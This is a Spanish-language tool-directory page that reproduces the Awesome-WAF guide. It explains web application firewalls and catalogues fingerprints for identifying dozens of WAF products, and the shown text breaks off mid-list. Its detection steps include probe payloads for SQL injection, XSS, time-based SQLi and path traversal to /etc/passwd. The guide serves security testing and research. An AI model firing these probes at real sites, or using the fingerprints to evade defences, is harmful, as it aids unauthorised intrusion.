Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Awesome-WAF — ¡Todo sobre Firewalls de Aplicaciones Web (WAFs) desde el punto de vista de seguridad! 🔥 | Kitploit
Herramientas/GitHubGitHub/0xinfection/awesome-waf
Evasión de WAFSeguridad WebAprendizaje y EducaciónRecursos Curados
GitHub0xinfection/awesome-waf

Awesome-WAF

¡Todo sobre Firewalls de Aplicaciones Web (WAFs) desde el punto de vista de seguridad! 🔥

Ver Repositorio
7.6k1.2khace 4 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Awesome WAF Awesome

Todo sobre los cortafuegos de aplicaciones web (WAF) desde una perspectiva de seguridad. 🔥

Prólogo: Originalmente, esta era mi propia colección sobre WAF. La publico como código abierto con la esperanza de que sea útil para pentesters e investigadores. Como dice el refrán, "la comunidad solo aprende unos de otros".

Logotipo principal

Una definición concisa: Un cortafuegos es un punto de aplicación de políticas de seguridad situado entre una aplicación web y el cliente final. Esta funcionalidad puede implementarse en software o hardware, ejecutándose en un dispositivo appliance o en un servidor típico con un sistema operativo común. Puede ser un dispositivo independiente o estar integrado en otros componentes de red. (Fuente: PCI DSS IS 6.6)

Un cortafuegos de aplicaciones web se sitúa entre un usuario y una aplicación web y tiene la tarea de evitar que cualquier actividad maliciosa llegue a la aplicación. Un WAF filtra la parte maliciosa de la solicitud o simplemente la bloquea.

Siéntete libre de contribuir.

Contenido:

  • Introducción
    • Cómo funcionan los WAF
    • Modos de funcionamiento
  • Metodología de prueba
    • Dónde buscar
    • Técnicas de detección
  • Huellas digitales de WAF
  • Técnicas de evasión
    • Fuzzing/Fuerza bruta
    • Inversión de expresiones regulares
    • Ofuscación/Codificación
    • Errores del navegador
    • Suplantación de cabeceras HTTP
    • Enfoque de Google Dorks
  • Bypasses conocidos
  • Herramientas increíbles
    • Huellas digitales
    • Pruebas
    • Evasión
  • Blogs y resúmenes
  • Presentaciones en vídeo
  • Presentaciones de investigación y artículos
    • Artículos de investigación
    • Diapositivas de presentaciones
  • Licencia y créditos

Introducción:

Cómo funcionan los WAF:

  • Utilizando un conjunto de reglas para distinguir entre solicitudes normales y maliciosas.
  • A veces utilizan un modo de aprendizaje para agregar reglas automáticamente mediante el aprendizaje del comportamiento del usuario.

Modos de funcionamiento:

  • Modelo negativo (basado en listas negras) - Un modelo de listas negras utiliza firmas preestablecidas para bloquear solicitudes claramente maliciosas. Las firmas de los WAF que operan en modo negativo están diseñadas específicamente para prevenir ataques que explotan ciertas vulnerabilidades de aplicaciones web. Los cortafuegos de aplicaciones web de modelo de listas negras son una excelente opción para aplicaciones web expuestas a internet público y son muy efectivos contra vulnerabilidades principales. Por ejemplo, una regla para bloquear todas las entradas <script>*</script> previene ataques básicos de cross-site scripting.
  • Modelo positivo (basado en listas blancas) - Un modelo de listas blancas solo permite el tráfico web según criterios específicamente configurados. Por ejemplo, se puede configurar para permitir solo solicitudes HTTP GET desde ciertas direcciones IP. Este modelo puede ser muy efectivo para bloquear grandes ataques potenciales, pero también bloqueará mucho tráfico legítimo. Es probable que los cortafuegos de modelo de listas blancas sean mejores para aplicaciones web en una red interna diseñadas para ser utilizadas solo por un grupo limitado de personas, como empleados.
  • Modelo mixto/híbrido (modelo inclusivo) - Un modelo de seguridad híbrido combina tanto listas blancas como listas negras. Dependiendo de las especificaciones de configuración, los cortafuegos híbridos podrían ser la mejor opción tanto para aplicaciones web en redes internas como para aplicaciones web en internet público. Un buen escenario puede ser cuando la aplicación web está orientada a internet público (usar listas negras) mientras que el panel de administración debe estar expuesto solo a un subconjunto de usuarios (usar listas blancas).

Metodología de prueba:

Dónde buscar:

  • Busca siempre puertos comunes que expongan un WAF, específicamente los puertos 80, 443, 8000, 8080 y 8888. Sin embargo, es importante tener en cuenta que un WAF puede implementarse fácilmente en cualquier puerto que ejecute un servicio HTTP. Es recomendable enumerar primero los puertos de servicio HTTP y luego buscar WAF.
  • Algunos WAF establecen sus propias cookies en las solicitudes (por ejemplo, Citrix Netscaler, Yunsuo WAF).
  • Algunos se asocian con cabeceras separadas (por ejemplo, Anquanbao WAF, Amazon AWS WAF).
  • A menudo, otros alteran cabeceras y mezclan caracteres para confundir al atacante (por ejemplo, Netscaler, Big-IP).
  • Algunos se exponen en la cabecera Server (por ejemplo, Approach, WTS WAF).
  • Algunos WAF se exponen en el contenido de la respuesta (por ejemplo, DotDefender, Armor, Sitelock).
  • Otros WAF responden con códigos de respuesta inusuales ante solicitudes maliciosas (por ejemplo, WebKnight, 360 WAF).

Técnicas de detección:

Para identificar WAF, necesitamos provocarlo (simuladamente).

  1. Realizar una solicitud GET normal desde un navegador, interceptar y registrar las cabeceras de respuesta (especialmente las cookies).
  2. Realizar una solicitud desde la línea de comandos (ej. cURL) y probar el contenido de la respuesta y las cabeceras (sin incluir user-agent).
  3. Realizar solicitudes GET a puertos abiertos aleatorios y capturar banners que puedan exponer la identidad del WAF.
  4. En páginas de inicio de sesión, inyectar payloads comunes (fácilmente detectables) como " or 1 = 1 --.
  5. Inyectar payloads ruidosos como <script>alert()</script> en barras de búsqueda, formularios de contacto y otros campos de entrada.
  6. Adjuntar un ../../../etc/passwd ficticio a un parámetro aleatorio al final de la URL.
  7. Agregar palabras clave llamativas como ' OR SLEEP(5) OR ' al final de las URLs en cualquier parámetro aleatorio.
  8. Realizar solicitudes GET con protocolos obsoletos como HTTP/0.9 (HTTP/0.9 no admite consultas de tipo POST).
  9. En muchas ocasiones, el WAF varía la cabecera Server según diferentes tipos de interacciones.
  10. Técnica de acción de caída: enviar un paquete FIN/RST crudo y modificado al servidor e identificar la respuesta.

    Consejo: Este método se puede lograr fácilmente con herramientas como HPing3 o Scapy.

  11. Ataques de canal lateral: examinar el comportamiento temporal de la solicitud y el contenido de la respuesta.

Huellas digitales de WAF

¿Quieres obtener huellas digitales de WAF? Veamos cómo.

NOTA: Esta sección contiene técnicas manuales de detección de WAF. Quizás quieras pasar a la siguiente sección.





## Técnicas de Evasión Veamos algunos métodos para eludir y evadir WAFs.
Descargar herramienta

Consejo: Se pueden encontrar más detalles en una entrada de blog aquí.

WAFHuellas
360
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Devuelve código de estado 493 ante solicitudes inusuales.
    • La página de bloqueo puede contener referencia al directorio wzws-waf-cgi/.
    • El código fuente de la página de respuesta bloqueada puede contener:
      • Referencia a la URL wangshan.360.cn.
      • Fragmento de texto Sorry! Your access has been intercepted because your links may threaten website security..
    • Los encabezados de respuesta pueden contener el encabezado X-Powered-By-360WZB.
    • Los encabezados de respuesta bloqueada contienen un encabezado único WZWS-Ray.
    • El encabezado Server puede contener el valor qianxin-waf.
aeSecure
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • El contenido de la respuesta bloqueada contiene la imagen aesecure_denied.png (ver el código fuente).
    • Los encabezados de respuesta contienen el valor aeSecure-code.
Airlock
  • Detectabilidad: Moderada/Difícil
  • Metodología de Detección:
    • Los encabezados Set-Cookie pueden contener:
      • Nombre de campo de cookie AL-SESS (no sensible a mayúsculas).
      • Valor AL-LB (no sensible a mayúsculas).
    • La página de respuesta bloqueada contiene:
      • Texto Server detected a syntax error in your request.
      • Fragmento de texto Check your request and all parameters.
AlertLogic
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene:
      • Fragmento de texto We are sorry, but the page you are looking for cannot be found.
      • Texto The page has either been removed, renamed or temporarily unavailable.
      • 404 Not Found en letras rojas.
Aliyundun
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene:
      • Fragmento de texto Sorry, your request has been blocked as it may cause potential threats to the server's security.
      • Referencia a la URL del sitio errors.aliyun.com.
    • El código de respuesta bloqueada devuelto es 405.
Anquanbao
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Devuelve código de respuesta HTTP bloqueada 405 ante solicitudes maliciosas.
    • El contenido de la respuesta bloqueada puede contener /aqb_cc/error/ o hidden_intercept_time.
    • Los encabezados de respuesta contienen el campo de encabezado X-Powered-by-Anquanbao.
Anyu
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la respuesta bloqueada contiene Sorry! your access has been intercepted by AnYu
    • La página de respuesta bloqueada contiene el texto AnYu- the green channel.
    • Los encabezados de respuesta pueden contener un encabezado inusual WZWS-RAY.
Approach
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la página de respuesta bloqueada puede contener:
      • Encabezado Approach Web Application Firewall Framework.
      • Advertencia Your IP address has been logged and this information could be used by authorities to track you..
      • Palabra clave Sorry for the inconvenience!.
      • Fragmento de texto Approach infrastructure team.
    • El encabezado Server tiene el valor de campo establecido en Approach.
Armor Defense
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la respuesta bloqueada contiene:
      • Texto This request has been blocked by website protection from Armor.
      • Fragmento If you manage this domain please create an Armor support ticket.
ArvanCloud
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave ArvanCloud.
ASPA
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave ASPA-WAF.
    • La respuesta contiene un encabezado único ASPA-Cache-Status con contenido HIT o MISS.
ASP.NET Generic
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados de respuesta pueden contener el valor de encabezado X-ASPNET-Version.
    • El contenido de la página de respuesta bloqueada puede contener:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Palabra clave Error Code 0x00000000<.
    • El encabezado X-Powered-By tiene el valor de campo establecido en ASP.NET.
Astra
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la página de respuesta bloqueada puede contener:
      • Sorry, this is not allowed. en h1.
      • Fragmento de texto our website protection system has detected an issue with your IP address and wont let you proceed any further.
      • Referencia a la URL www.getastra.com/assets/images/.
    • Las cookies de respuesta tienen el valor de campo cz_astra_csrf_cookie en los encabezados de respuesta.
AWS ELB
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados de respuesta podrían contener:
      • Valor de campo de cookie AWSALB.
      • Encabezado X-AMZ-ID.
      • Encabezado X-AMZ-REQUEST-ID.
    • La página de respuesta puede contener:
      • Access Denied en su palabra clave.
      • ID de token de solicitud con una longitud de 20 a 25 entre la etiqueta RequestId.
    • El campo de encabezado Server contiene el valor awselb/2.0.
Baidu Yunjiasu
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • El encabezado Server puede contener el valor Yunjiasu-nginx.
    • El encabezado Server puede contener el valor Yunjiasu.
Barikode
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la página de respuesta bloqueada contiene:
      • Palabra clave BARIKODE.
      • Fragmento de texto Forbidden Access en h1.
Barracuda
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Las cookies de respuesta pueden contener el valor barra_counter_session.
    • Los encabezados de respuesta pueden contener la palabra clave barracuda_.
  • La página de respuesta contiene:
    • Encabezado You have been blocked.
    • Texto You are unable to access this website.
Bekchy
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta bloqueada contienen Bekchy - Access Denied.
    • La página de respuesta bloqueada contiene referencia a https://bekchy.com/report.
BinarySec
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados de respuesta contienen:
      • Campo X-BinarySec-Via.
      • Campo X-BinarySec-NoCache.
      • El encabezado Server contiene la palabra clave BinarySec.
BitNinja
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada puede contener:
      • Fragmento de texto Security check by BitNinja.
      • your IP will be removed from BitNinja.
      • Fragmento de texto Visitor anti-robot validation.
      • Texto (You will be challenged by a reCAPTCHA page).
BIG-IP ASM
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados de respuesta pueden contener el valor de palabra clave BigIP o F5.
    • Los campos de encabezado de respuesta pueden contener el encabezado X-WA-Info.
    • Los encabezados de respuesta podrían tener el valor de campo X-Cnection desordenado.
BlockDos
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • El encabezado Server contiene el valor BlockDos.net.
Bluedon IST
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene el valor de campo BDWAF.
    • La página de respuesta bloqueada contiene el fragmento de texto Bluedon Web Application Firewall.
BulletProof Security Pro
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene:
      • div con id bpsMessage como fragmento de texto.
      • Fragmento de texto If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page.
CDN NS Application Gateway
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene el fragmento de texto CdnNsWAF Application Gateway.
Cerber (WordPress)
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene:
      • Fragmento de texto We're sorry, you are not allowed to proceed.
      • Advertencia Your request looks suspicious or similar to automated requests from spam posting software.
Chaitin Safeline
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene la palabra clave event_id dentro de comentarios HTML.
ChinaCache
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el campo Powered-by-ChinaCache.
Cisco ACE XML Gateway
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • El encabezado Server tiene el valor ACE XML Gateway establecido.
Cloudbric
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • El contenido de la respuesta contiene:
      • Encabezado Malicious Code Detected.
      • Fragmento de texto Your request was blocked by Cloudbric.
      • Referencia a la URL https://cloudbric.zendesk.com.
      • Texto Cloudbric Help Center.
      • Título de la página que comienza con Cloudbric | ERROR!.
Cloudflare
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta podrían tener el valor de campo cf-ray.
    • El campo de encabezado Server tiene el valor cloudflare.
    • Los encabezados de respuesta Set-Cookie tienen el campo de cookie __cfuid=.
    • El contenido de la página podría tener Attention Required! o Cloudflare Ray ID:.
    • El contenido de la página puede contener DDoS protection by Cloudflare como texto.
    • Puede encontrarse CLOUDFLARE_ERROR_500S_BOX al acceder a URL inválidas.
CloudfloorDNS
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El campo de encabezado Server tiene el valor CloudfloorDNS WAF.
    • El título de la página de bloqueo podría tener CloudfloorDNS - Web Application Firewall Error.
    • El contenido de la página puede contener la URL www.cloudfloordns.com/contact como enlace de contacto.
Cloudfront
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la respuesta bloqueada contiene el error Generated by cloudfront (CloudFront) ante solicitudes maliciosas.
Comodo cWatch
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene el valor Protected by COMODO WAF.
CrawlProtect
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Las cookies de respuesta podrían contener el nombre de cookie crawlprotect.
    • El título de la página de bloqueo contiene la palabra clave CrawlProtect.
    • El contenido de la respuesta bloqueada contiene el valor
      This site is protected by CrawlProtect !!! ante solicitudes maliciosas.
Deny-All
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • El contenido de la respuesta contiene el valor Condition Intercepted.
    • El encabezado Set-Cookie contiene el campo de cookie sessioncookie.
Distil Web Protection
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el valor de campo X-Distil-CS en todas las solicitudes.
    • La página de respuesta bloqueada contiene:
      • Encabezado Pardon Our Interruption....
      • Fragmento de texto You have disabled javascript in your browser..
      • Texto Something about your browser made us think that you are a bot..
DoSArrest Internet Security
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el valor de campo X-DIS-Request-ID.
    • El encabezado Server contiene la palabra clave DOSarrest.
DotDefender
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la respuesta bloqueada contiene el valor
      dotDefender Blocked Your Request.
    • Los encabezados de respuesta bloqueada contienen el valor de campo X-dotDefender-denied.
DynamicWeb Injection Check
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta bloqueada contienen el campo X-403-Status-By con valor dw-inj-check.
e3Learning Security
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave e3Learning_WAF.
EdgeCast (Verizon)
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la respuesta bloqueada contiene el valor
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • El código de respuesta bloqueada devuelve 400 Bad Request en solicitudes maliciosas.
Eisoo Cloud
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la página de respuesta bloqueada puede contener:
      • Referencia a /eisoo-firewall-block.css.
      • URL www.eisoo.com.
      • Palabra clave © (year) Eisoo Inc..
    • El encabezado Server tiene el valor de campo establecido en EisooWAF-AZURE/EisooWAF.
Expression Engine
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada devuelve Invalid URI generalmente.
    • El contenido de la respuesta bloqueada contiene el valor Invalid GET Request ante consultas GET maliciosas.
    • Las consultas POST bloqueadas contienen Invalid Data en el contenido de la respuesta.
F5 ASM
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • El contenido de la respuesta bloqueada contiene la advertencia
      The requested URL was rejected. Please consult with your administrator.
FortiWeb
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados de respuesta contienen FORTIWAFSID= en solicitudes maliciosas.
    • La página de respuesta bloqueada contiene:
      • Referencia al icono de imagen .fgd_icon.
      • Server Unavailable! como encabezado.
      • Server unavailable. Please visit later. como texto.
GoDaddy
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene el valor
      Access Denied - GoDaddy Website Firewall.
GreyWizard
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene:
      • Grey Wizard como título.
      • Fragmento de texto Contact the website owner or Grey Wizard.
      • Fragmento de texto We've detected attempted attack or non standard traffic from your IP address.
    • El encabezado Server contiene la palabra clave greywizard.
Huawei Cloud
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene:
      • Referencia a la imagen de error account.hwclouds.com/static/error/images/404img.jpg.
      • Referencia a la URL www.hwclouds.com.
      • Referencia al correo electrónico hws_security@{site.tld} para reportar.
HyperGuard
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • El encabezado Set-Cookie tiene el campo de cookie ODSESSION= en los encabezados de respuesta.
IBM DataPower
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el valor de campo X-Backside-Transport con valor OK o FAIL.
Imperva Incapsula
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la página de respuesta bloqueada puede contener:
      • Fragmento de texto Powered By Incapsula.
      • Palabra clave Incapsula incident ID.
      • Palabra clave _Incapsula_Resource.
      • Palabra clave subject=WAF Block Page.
    • Los encabezados de solicitud GET normales contienen el valor visid_incap.
    • Los encabezados de respuesta pueden contener el nombre de campo de encabezado X-Iinfo.
    • El encabezado Set-Cookie tiene los campos de cookie incap_ses y visid_incap.
Imunify360
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave imunify360-webshield.
    • La página de respuesta contiene:
      • Fragmento de texto Powered by Imunify360.
      • imunify360 preloader si el tipo de respuesta es JSON.
    • La página de respuesta bloqueada contiene el texto protected by Imunify360.
IndusGuard
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • El encabezado Server contiene el valor IF_WAF.
    • El contenido de la respuesta bloqueada contiene la advertencia
      further investigation and remediation with a screenshot of this page.
    • Los encabezados de respuesta contienen un encabezado único X-Version.
Instart DX
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el encabezado único X-Instart-Request-ID.
    • Los encabezados de respuesta contienen el encabezado único X-Instart-WL.
    • Los encabezados de respuesta contienen el encabezado único X-Instart-Cache.
    • La página de respuesta bloqueada contiene el texto The requested URL was rejected. Please consult with your administrator.
ISA Server
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta contiene:
      • Fragmento de texto The ISA Server denied the specified Uniform Resource Locator (URL).
      • Fragmento de texto The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.
Janusec Application Gateway
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada muestra una imagen con el nombre y logotipo JANUSEC.
    • La página de respuesta bloqueada muestra Janusec Application Gateway en solicitudes maliciosas.
Jiasule
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene referencia a la URL static.jiasule.com/static/js/http_error.js.
    • El encabezado Set-Cookie tiene el campo de cookie _jsluid= o jsl_tracking en los encabezados de respuesta.
    • El encabezado Server tiene las palabras clave jiasule-WAF.
    • El contenido de la respuesta bloqueada tiene la palabra clave notice-jiasule.
KeyCDN
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave KeyCDN.
KnownSec
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada muestra la imagen ks-waf-error.png (ver código fuente).
KONA Site Defender (Akamai)
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave AkamaiGHost.
LiteSpeed
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server tiene el valor establecido en LiteSpeed.
    • Response page contains:
      • Texto Proudly powered by LiteSpeed Web Server.
      • Referencia a http://www.litespeedtech.com/error-page
      • Access to resource on this server is denied.
Malcare
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • La página de respuesta bloqueada puede contener:
      • Fragmento de texto Blocked because of Malicious Activities.
      • Fragmento de texto Firewall powered by MalCare.
MissionControl Application Shield
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El campo de encabezado Server contiene el valor Mission Control Application Shield.
ModSecurity
  • Detectabilidad: Moderada/Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene:
      • Fragmento de texto This error was generated by Mod_Security.
      • Fragmento de texto One or more things in your request were suspicious.
      • Fragmento de texto rules of the mod_security module.
      • Fragmento de texto mod_security rules triggered.
      • Referencia al directorio /modsecurity-errorpage/.
    • El encabezado Server puede contener las palabras clave Mod_Security o NYOB.
    • A veces, el código de respuesta a un ataque es 403 mientras que la frase de respuesta es ModSecurity Action.
ModSecurity CRS
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de bloqueo aparece al agregar un encabezado de solicitud separado X-Scanner cuando se configura en un nivel de paranoia particular.
NAXSI
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene This Request Has Been Blocked By NAXSI.
    • Los encabezados de respuesta contienen el campo inusual X-Data-Origin con valor de palabra clave naxsi/waf.
    • El encabezado Server contiene el valor de palabra clave naxsi/waf.
    • La página de respuesta bloqueada puede contener el código de error NAXSI blocked information.
Nemesida
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene Suspicious activity detected. Access to the site is blocked..
    • Contiene referencia al correo electrónico nwaf@{site.tld}
Netcontinuum
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Las cookies de sesión contienen el nombre de campo de cookie NCI__SessionId=.
NetScaler AppFirewall
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados de respuesta pueden contener
      • Nombre de campo de encabezado Connection: desordenado a nnCoection:
      • Nombre de campo de cookie ns_af=.
      • Nombre de campo citrix_ns_id.
      • Palabra clave NSC.
      • Valor de campo NS-CACHE.
NevisProxy
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Las cookies de encabezado de respuesta contienen la palabra clave Navajo.
NewDefend
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta contiene:
      • Referencia a la URL http://www.newdefend.com/feedback/misinformation/.
      • Referencia al directorio /nd_block/.
    • El encabezado Server contiene la palabra clave NewDefend.
Nexusguard
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada tiene referencia a la URL speresources.nexusguard.com/wafpage/index.html.
NinjaFirewall
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • El título de la página de respuesta contiene NinjaFirewall: 403 Forbidden.
    • La página de respuesta contiene:
      • Fragmento de texto For security reasons, it was blocked and logged.
      • Palabra clave NinjaFirewall en el título.
    • Devuelve una respuesta 403 Forbidden ante solicitudes maliciosas.
NSFocus
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave NSFocus.
NullDDoS
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave NullDDoS System.
onMessage Shield
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen el campo de encabezado X-Engine con valor onMessage Shield.
    • La página de respuesta bloqueada contiene:
      • Palabra clave Blackbaud K-12 conducts routine maintenance.
      • This site is protected by an enhanced security system.
      • Referencia a la URL https://status.blackbaud.com.
      • Referencia a la URL https://maintenance.blackbaud.com.
OpenResty Lua WAF
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave openresty/{version}.
    • La página de respuesta bloqueada contiene el texto openresty/{version}.
    • El código de respuesta bloqueada devuelto es 406 Not Acceptable.
Palo Alto
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene Virus/Spyware Download Blocked.
    • La página de respuesta podría contener el fragmento de texto Palo Alto Next Generation Security Platform.
PentaWAF
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave PentaWAF/{version}.
    • La página de respuesta bloqueada contiene el texto PentaWAF/{version}.
PerimeterX
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene referencia a la URL https://www.perimeterx.com/whywasiblocked.
pkSecurityModule IDS
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • El contenido de la respuesta puede contener
      • pkSecurityModule: Security.Alert.
      • Fragmento de texto A safety critical request was discovered and blocked.
Positive Technologies Application Firewall
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada contiene Forbidden en h1 seguido de:
    • Request ID: en formato yyyy-mm-dd-hh-mm-ss-{ref. code}
PowerCDN
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Los encabezados de respuesta pueden contener
      • Encabezado Via con contenido powercdn.com.
      • Encabezado X-Cache con contenido powercdn.com.
      • Encabezado X-CDN con contenido PowerCDN.
Profense
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados Set-Cookie contienen el nombre de campo de cookie PLBSID=.
    • El encabezado Server contiene la palabra clave Profense.
Proventia (IBM)
  • Detectabilidad: Difícil
  • Metodología de Detección:
    • La página de respuesta bloqueada podría contener el fragmento de texto request does not match Proventia rules.
Puhui
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El encabezado Server contiene la palabra clave PuhuiWAF.
Qiniu CDN
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • El contenido de la respuesta puede contener
      • Los encabezados de respuesta contienen el encabezado inusual X-Qiniu-CDN con valor establecido en 0 o 1.
Radware Appwall
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • La página de respuesta contiene el siguiente fragmento de texto:
      Unauthorized Activity Has Been Detected. y Case Number
    • La página de respuesta bloqueada tiene referencia al correo electrónico radwarealerting@{site.tld}.
    • La página de respuesta bloqueada tiene el título establecido en Unauthorized Request Blocked.
    • Los encabezados de respuesta pueden contener el nombre de campo de encabezado X-SL-CompState.
Reblaze
  • Detectabilidad: Moderada
  • Metodología de Detección:
    • Las cookies en los encabezados de respuesta contienen el nombre de campo de encabezado rbzid=.
    • El valor del campo Server podría contener el fragmento de texto Reblaze Secure Web Gateway.
    • La página de respuesta contiene:
      • Access Denied (403) en negrita.
      • Texto Current session has been terminated.
      • For further information, do not hesitate to contact us.
Request Validation Mode
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Un firewall encontrado específicamente en sitios web ASP.NET y ningún otro.
    • La página de respuesta contiene alguno de los siguientes fragmentos de texto:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • El código de respuesta bloqueada devuelto es siempre 500 Internal Error.
RSFirewall
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • La página de respuesta contiene:
      • Palabra clave COM_RSFIREWALL_403_FORBIDDEN.
      • Palabra clave COM_RSFIREWALL_EVENT.
Sabre
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Devuelve código de estado 500 Internal Error ante solicitudes maliciosas.
    • El contenido de la respuesta tiene:
      • Correo electrónico de contacto [email protected].
      • Advertencia en negrita Your request has been blocked.
      • Fragmento de texto clicking the above email link will automatically add some important details to the email for us to investigate the problem.
Safe3
  • Detectabilidad: Fácil
  • Metodología de Detección:
    • Los encabezados de respuesta contienen:
      • El encabezado X-Powered-By tiene el valor de campo Safe3WAF.
      • El encabezado Server contiene el valor de campo establecido en Safe3 Web Firewall.
    • La página de respuesta contiene la palabra clave Safe3waf.
SafeDog
  • Detectabilidad: Fácil/Moderada
